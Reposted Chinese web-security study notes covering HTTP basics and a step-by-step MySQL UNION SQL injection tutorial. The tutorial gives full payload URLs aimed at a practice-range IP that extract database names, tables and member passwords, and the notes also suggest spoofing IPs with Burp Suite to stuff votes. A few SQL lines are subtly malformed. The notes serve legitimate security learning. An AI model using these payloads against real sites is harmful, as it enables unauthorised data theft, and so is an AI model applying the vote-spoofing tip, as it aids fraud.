小迪安全web学习笔记

Posted 神夜十三香

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了小迪安全web学习笔记相关的知识,希望对你有一定的参考价值。

1、#Request 请求数据包
#Response 返回数据包


2、http和https的区别
https相比http来说多了一层加密被抓到了就是密文,而http是明文。
https的访问速度会低于http


3、Request请求数据包数据格式
(1)请求行:请求类型/请求资源路径、协议的版本和类型
(2)请求头:一些键值对,浏览器与web服务器之间都可以发送,特定的某种含义
(3)空行:请求头与请求体之间用一个空行隔开;
(4)请求体:要发送的数据(一般post提交会使用);例: user=123&pass=123


4、请求行
请求类型/请求资源路径、协议的版本和类型
组成:
(1)请求方法
GET:检索URL中标识资源的一个简单请求

HEAD:与GET方法相同,服务器只返回状态行和头标,并不返回请求文档

POST:服务器接受被写入客户端输出流中的数据的请求

PUT:服务器保存请求数据作为指定URL新内容的请求

DELETE:服务器删除URL中命令的资源的请求

OPTIONS:关于服务器支持的请求方法信息的请求

TRACE: web服务器反馈Http请求和其头标的请求

CONNECT :已文档化,但当前未实现的一个方法,预留做隧道处理

(2)请求URL和HTTP版本

5、请求头
一些键值对,浏览器与web服务器之间都可以发送,特定的某种含义

6、Response请求数据包数据格式
一个响应由四个部分组成:状态行、响应头标、空行、响应数据。
(1)状态行:协议版本、数字形式的状态代码和状态描述,个元素之间以空格分隔
(2)响应头标:包含服务器类型、日期、长度、内容类型等
(3)空行:响应头与响应体之间用空行隔开
(4)响应数据:浏览器会将实体内容中的数据取出来,生成相应的页面


7、HTTP响应码:
1xx:信息,请求收到,继续处理
2xx:成功,行为被成功地接受、理解和采纳
3xx:重定向,为了完成请求,必须进一步执行的动作
4xx:客户端错误
5xx:服务器错误
200 存在文件
403存在文件夹
3xx均可能存在
404不存在文件及文件夹
500均可能存在

8、靶场
墨者学院,注册送币
用burpsuite 修改发出的信息用以达成改ip刷票、改浏览器标识、伪装计算机信息的功能。

 

《小迪网络安全笔记》 第十二节:WEB漏洞-SQL注入之简要SQL注入

前言

在本系列课程学习中,SQL注入漏洞将是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。

注:左边的比右边的难,学习顺序为从右向左。

一、忍者安全测试系统使用说明

二、上述思维导图简要说明

操作系统:windows和linux对大小写敏感不同,如果查了操作系统可以避免这个问题。


数据库名:如果不知道数据库名查询的时候会有问题。


数据库用户:判定是否为高权限,如果是高权限则选择的余地更多。


文件读写:文件读写需要路径,所以可以通过文件读写查到路径。

注:数据库5.0以上为高版本,5.0以下为低版本。

三、SQL注入安全测试中危害

1、通过注入点直接获取权限,操作后台数据库,危害数据

2、通过注入点获取部分内容,之后通过其他方法来获取权限,危害网站权限

注:如果SQL语句中不存在变量,则不能操作,也就不会产生漏洞。

四、SQL注入产生原理详细分析

(1)可控变量,带入数据库查询,变量未存在过滤或过滤不严谨,即如果过滤比较严谨,则没有注入点。

(2)通过参数传递到原有的SQL语句中,从而实现自定义的查询。即把恶意代码传递到对方网站中。

注:(1)和(2)是一个意思。

(3)例题

①下列可能存在注入的编号选项有哪几个?

www.xiaodi8.com/index.php?id=8

www.xiaodi8.com/?id=10(虽然前面没有index.php,但是网站默认是加上的。)

www.xiaodi8.com/?id=10&x=1(两个参数,哪个能注入用哪个)

www.xiaodi8.com/index.php(post注入)

答案:四个都对,但是以目前的实力来说,只能理解到12或者123,。

②参数x有注入,以下哪个注入正确?

www.xiaodi8.com/news.php?y=1 and 1=1&1=2(and 1=1应该写在x后面)

www.xiaodi8.com/news.php?y=1&x=2 and 1=1

www.xiaodi8.com/news.php?y=1 and 1=1&x=2 and 1=1

www.xiaodi8.com/news.php?xx=1 and 1=1 &xxx=2 and 1=1(前面是xx,后面是xxx,参数名不对)

答案:bc

注:注入点要写在id的后面。

五、搭建第一个SQL注入学习靶场环境

https://blog.csdn.net/weixin_43211186/article/details/103008549

https://www.fujieace.com/penetration-test/sqli-labs-ec.html

注:前半部分用第一个,后半部分用第二个。

六、数据库结构

1、MySQL数据库

(1)结构

数据库a=网站a

​ 表名

​ 列名

​ 数据

数据库b=网站b

​ 表名

​ 列名

​ 数据

数据库c=网站c

​ 表名

​ 列名

​ 数据

(2)注入过程

  • 获取数据库对应网站
  • 获取表名
  • 获取列名
  • 获取数据

(3)数据库基本命令

show databases; 显示数据库名


use 数据库名 使用这个数据库


show tables 显示所有表(表名)


select * fn_member; 所有范围内查询member(*表示查询所有)

select password from fn_member; 在fn_member表里查询password列

七、怎么判断数据库类型

1、前端与数据库类型

asp:SQL Server,Access
.net:SQL Server
php:MySQL,PostgreSQL
java:Oracle,MySQL

2、根据端口判断

Oracle:默认端口1521
SQL Server:默认端口1433
MySQL:默认端口3306

3、根据数据库特有函数来判断

(1)len和length

len():SQL Server 、MySQL以及db2返回长度的函数。
length():Oracle和INFORMIX返回长度的函数。

(2)version和@@version

version():MySQL查询版本信息的函数
@@version:MySQL和SQL Server查询版本信息的函数

(3)substring和substr

MySQL两个函数都可以使用
Oracle只可调用substr
SQL Server只可调用substring

4、根据特殊符号进行判断

/*是MySQL数据库的注释符
--是Oracle和SQL Server支持的注释符
;是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库
#是MySQL中的注释符,返回错误则说明可能不是MySQL,另外也支持-- 和/**/

5、根据数据库对字符串的处理方式判断

(1)MySQL

http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab' 
http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab' 

(2)Oracle

http://127.0.0.1/test.php?id=1 and 'a'||'b'='ab' 
http://127.0.0.1/test.php?id=1 and CONCAT('a','b')='ab' 

(3)SQL Server

http://127.0.0.1/test.php?id=1 and 'a'+'b'='ab' 

6、根据数据库特有的数据表来判断

(1)MySQL(version>5.0)

http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1

(2)Oracle

http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

(3)SQL Server

http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1

7、根据盲注特别函数判断

(1)MySQL

BENCHMARK(1000000,ENCODE(‘QWE’,‘ASD’))
SLEEP(5)

(2)PostgreSQL

PG_SLEEP(5)
GENERATE_SERIES(1,1000000)

(3)SQL Server

WAITFOR DELAY ‘0:0:5’

八、如何判断注入点

1、老方法

(1)过程

and 1=1 页面正常

and 1=2 页面错误

可能存在注入点

(2)原理

在数据库中存在逻辑运算符(或or、且and、非xor),用and 1=1来判定。如果是1=1表示真且真,其中且就是and,如果是1=2则为真且假,逻辑不成立,所以返回的是错误页面。

2、新方法

在id=1的后面随便输入东西,如果有错误,则说明他带入了数据库查询了,则说明有注入点

注:如果结果是404错误或者直接跳转,则说明网站对输入的东西有检测,则说明这个网站没有漏洞。

九、学习第一个数据库MySQL简单注入

1、注入步骤

(1)判断注入

(2)猜解列名数量(字段数) order by x 错误与正常的临界值

​ http://219.153.49.228:48354/new_list.php?id=1 order by 4

(3)报错猜解准备(目的是为了让它报错)

http://219.153.49.228:48354/new_list.php?id=1%20union%20select%1,2,3,4

http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,2,3,4

注:报错数字是随机产生,报错什么数字就用什么数字查,比如报了2和3,则用2和3查。

(4)查询

http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,database(),version(),4 (查询数据库名称和数据库版本)

http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4 (查询数据库用户和操作系统)

注:@@version_compile_os后面没有括号!!!

(5)查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:

http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’

注解:

union%20select 查询

table_name 表名

information_schema.tables 记录所有表名信息的表

where 条件

table_schema 数据库名

mozhe_Discuz_StormGroup 需要查询的数据库名

group_concat(table_name) 查询所有表名

(6)查询指定表名StormGroup_member下的列名信息:

http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’

(7)查询指定数据

http://219.153.49.228:48354/new_list.php?id=-1%20union%20select%201,name,password,4 StormGroup_member

2、信息收集

数据库版本:version() 5.7.22-0ubuntu0.16.04.1

数据库名称:database() mozhe_Discuz_StormGroup

数据库用户:user() root@localhost

操作系统:@@version_compile_os Linux

3、必要知识点

(1)在MySQL5.0以上版本中,MySQL存在一个自带数据库名为information_achema,它是一个存储记录所有数据库名、表名、列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

(2)数据库中符号.代表下一级,如xaiodi.user表示xiaodi数据库下的user表名。

(3)information_schema.tables:记录所有表名信息的表

​ information_schema.columns:记录所有列名信息的表

​ table_name:表名

​ column_name:列名

​ table_schema:数据库名

注:猜解多个数据可以采用limit,x,1变动猜解,x为变量值

十、案例演示:

1、简易代码分析SQL注入原理

2、Sqlilabs注入靶场搭建简要使用

3、墨者靶机真实MYSQL注入演示

十一、涉及资源:

https://github.com/Audi-1/sqli-labs

QQ群文件-忍者安全测试系统-禁用软盘安装

https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe

以上是关于小迪安全web学习笔记的主要内容,如果未能解决你的问题,请参考以下文章

小迪安全web学习笔记

小迪安全web学习笔记

小迪安全web学习笔记

小迪安全web学习笔记

小迪安全web学习笔记

《小迪网络安全笔记》 第十二节:WEB漏洞-SQL注入之简要SQL注入